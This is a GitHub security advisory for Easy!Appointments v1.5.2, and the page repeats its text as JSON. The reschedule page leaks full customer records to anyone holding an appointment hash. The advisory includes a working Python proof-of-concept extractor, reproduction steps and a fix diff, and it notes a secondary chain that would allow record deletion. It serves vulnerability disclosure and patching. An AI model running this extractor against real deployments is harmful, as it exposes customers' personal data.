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GHSA-XGR6-PQJV-3PF8

Vulnerability from github – Published: 2026-07-29 16:28 – Updated: 2026-07-29 16:28
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Summary
Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
Details

Summary

The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.

Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.

Details

Root cause

application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.

// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash');         // line 184
if (!empty($appointment_hash)) {
    $manage_mode = true;
    $results = $this->appointments_model->get(['hash' => $appointment_hash]);
    // ...
    $appointment = $results[0];
    $provider = $this->providers_model->find($appointment['id_users_provider']);
    $customer = $this->customers_model->find($appointment['id_users_customer']);  // ← full row, no projection
    $customer_token = md5(uniqid(mt_rand(), true));
    $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}

script_vars([
    // ...
    'customer_data' => $customer,                          // ← all PII inlined in HTML
    'customer_token' => $customer_token,
]);

The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.

Source-to-Sink

  • Source: HTTP GET to /index.php/booking/reschedule/{appointment_hash} — unauthenticated; hash read via html_vars('appointment_hash') (Booking.php:184).
  • Intermediate: appointments_model->get(['hash' => $hash]) → row fetched; customers_model->find($appointment['id_users_customer']) returns the full customers row.
  • Sink: script_vars(['customer_data' => $customer, ...]) (Booking.php:254-270) emits inline const vars = {..., "customer_data": {...}, ...} JavaScript in the response HTML.

Fields disclosed

Confirmed in PoC output (canary values used as markers):

customer_data: {
  "id": 4,
  "first_name": "Victim",
  "last_name": "Tester",
  "email": "victim.disclosure@example.invalid",
  "phone_number": "+1-555-0100",
  "address": "100 Privacy Lane",
  "city": "Sensitiveville",
  "zip_code": "00001",
  "timezone": "UTC",
  "language": "english",
  "custom_field_1": "CFLD1-CANARY",
  "is_private": "0",
  "ldap_dn": null,
  "id_roles": 3
}

Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2custom_field_5, ldap_dn.

Proof of Concept

#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests

PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
              "zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
              "custom_field_4","custom_field_5","ldap_dn"]

def exploit(target, hash_):
    url = f"{target}/index.php/booking/reschedule/{hash_}"
    r = requests.get(url, timeout=15); r.raise_for_status()
    m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
    ea = json.loads(m.group(1))
    customer = ea.get("customer_data") or {}
    leaked = 0
    for f in PII_FIELDS:
        if customer.get(f) not in (None, "", 0):
            print(f"  {f:18s} = {customer[f]!r}"); leaked += 1
    print(f"[+] disclosed {leaked} PII fields without auth")
    return leaked

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("--target", default="http://localhost:8000")
    p.add_argument("--hash", required=True)
    a = p.parse_args()
    sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)

Reproduction

  1. Bring up the lab from the project's official docker-compose.yml (pinned to v1.5.2). Complete the one-time install at /index.php/installation (or php index.php console install from the php-fpm container).
  2. Book one appointment through the public flow (the bundled --seed helper does this automatically and prints the resulting hash).
  3. Run the unauthenticated extractor: python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>
  4. Observed output (verified 5/5 consecutive runs): email = 'victim.disclosure@example.invalid' phone_number = '+1-555-0100' address = '100 Privacy Lane' city = 'Sensitiveville' zip_code = '00001' custom_field_1 = 'CFLD1-CANARY' [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.

The PoC and its docker-compose reproduction environment are attached.

Impact

A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.

For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).

A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.

Workarounds

Operators can mitigate temporarily by: 1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead. 2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.

Neither workaround removes the root cause; an attacker who already holds a hash can still extract.

Suggested fix

Whitelist customer fields before inlining. The reschedule UI only needs first/last name:

--- a/application/controllers/Booking.php
+++ b/application/controllers/Booking.php
@@ -239,7 +239,12 @@ class Booking extends EA_Controller
             $appointment = $results[0];
             $provider = $this->providers_model->find($appointment['id_users_provider']);
-            $customer = $this->customers_model->find($appointment['id_users_customer']);
+            $customer_record = $this->customers_model->find($appointment['id_users_customer']);
+            $customer = [
+                'id'         => $customer_record['id'],
+                'first_name' => $customer_record['first_name'],
+                'last_name'  => $customer_record['last_name'],
+            ];
             $customer_token = md5(uniqid(mt_rand(), true));

The same pattern likely needs auditing in Booking_confirmation::of() and Booking_cancellation::of() — anywhere the customer record is loaded and inlined into a publicly-reachable view.

Credits

  • Discovered through source-code audit by peoplstar

References

  • application/controllers/Booking.php lines 184-270 (v1.5.2)
  • application/models/Customers_model.php::find — returns the full row, no projection
  • application/config/config.php csrf_exclude_uris — whitelisting booking/.*
  • Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.

docker-compose.yml easyapp_pii_disclosure.py requirements.txt consistency_test.txt leaked_customer_data.txt

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:28:23Z",
    "nvd_published_at": "2026-07-14T15:17:04Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` \u2014 which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links \u2014 can read every column of that customer\u0027s row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` \u2014 which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars(\u0027appointment_hash\u0027);         // line 184\nif (!empty($appointment_hash)) {\n    $manage_mode = true;\n    $results = $this-\u003eappointments_model-\u003eget([\u0027hash\u0027 =\u003e $appointment_hash]);\n    // ...\n    $appointment = $results[0];\n    $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n    $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);  // \u2190 full row, no projection\n    $customer_token = md5(uniqid(mt_rand(), true));\n    $this-\u003ecache-\u003esave(\u0027customer-token-\u0027 . $customer_token, $customer[\u0027id\u0027], 600);\n}\n\nscript_vars([\n    // ...\n    \u0027customer_data\u0027 =\u003e $customer,                          // \u2190 all PII inlined in HTML\n    \u0027customer_token\u0027 =\u003e $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design \u2014 that\u0027s the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` \u2014 unauthenticated; hash read via `html_vars(\u0027appointment_hash\u0027)` (Booking.php:184).\n- **Intermediate**: `appointments_model-\u003eget([\u0027hash\u0027 =\u003e $hash])` \u2192 row fetched; `customers_model-\u003efind($appointment[\u0027id_users_customer\u0027])` returns the full customers row.\n- **Sink**: `script_vars([\u0027customer_data\u0027 =\u003e $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n  \"id\": 4,\n  \"first_name\": \"Victim\",\n  \"last_name\": \"Tester\",\n  \"email\": \"victim.disclosure@example.invalid\",\n  \"phone_number\": \"+1-555-0100\",\n  \"address\": \"100 Privacy Lane\",\n  \"city\": \"Sensitiveville\",\n  \"zip_code\": \"00001\",\n  \"timezone\": \"UTC\",\n  \"language\": \"english\",\n  \"custom_field_1\": \"CFLD1-CANARY\",\n  \"is_private\": \"0\",\n  \"ldap_dn\": null,\n  \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`\u2013`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py \u2014 exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n              \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n              \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n    url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n    r = requests.get(url, timeout=15); r.raise_for_status()\n    m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n    ea = json.loads(m.group(1))\n    customer = ea.get(\"customer_data\") or {}\n    leaked = 0\n    for f in PII_FIELDS:\n        if customer.get(f) not in (None, \"\", 0):\n            print(f\"  {f:18s} = {customer[f]!r}\"); leaked += 1\n    print(f\"[+] disclosed {leaked} PII fields without auth\")\n    return leaked\n\nif __name__ == \"__main__\":\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--target\", default=\"http://localhost:8000\")\n    p.add_argument(\"--hash\", required=True)\n    a = p.parse_args()\n    sys.exit(0 if exploit(a.target, a.hash) \u003e 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project\u0027s official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n   ```\n   python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash \u003cHASH\u003e\n   ```\n4. Observed output (verified 5/5 consecutive runs):\n   ```\n   email              = \u0027victim.disclosure@example.invalid\u0027\n   phone_number       = \u0027+1-555-0100\u0027\n   address            = \u0027100 Privacy Lane\u0027\n   city               = \u0027Sensitiveville\u0027\n   zip_code           = \u002700001\u0027\n   custom_field_1     = \u0027CFLD1-CANARY\u0027\n   [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n   ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer\u0027s full record. The `appointment_hash` is not a secret to the customer \u2014 it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information \u2014 GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token \u2014 escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n             $appointment = $results[0];\n             $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n-            $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+            $customer_record = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+            $customer = [\n+                \u0027id\u0027         =\u003e $customer_record[\u0027id\u0027],\n+                \u0027first_name\u0027 =\u003e $customer_record[\u0027first_name\u0027],\n+                \u0027last_name\u0027  =\u003e $customer_record[\u0027last_name\u0027],\n+            ];\n             $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` \u2014 anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` \u2014 returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` \u2014 whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) \u2014 same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)",
  "id": "GHSA-xgr6-pqjv-3pf8",
  "modified": "2026-07-29T16:28:23Z",
  "published": "2026-07-29T16:28:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page"
}



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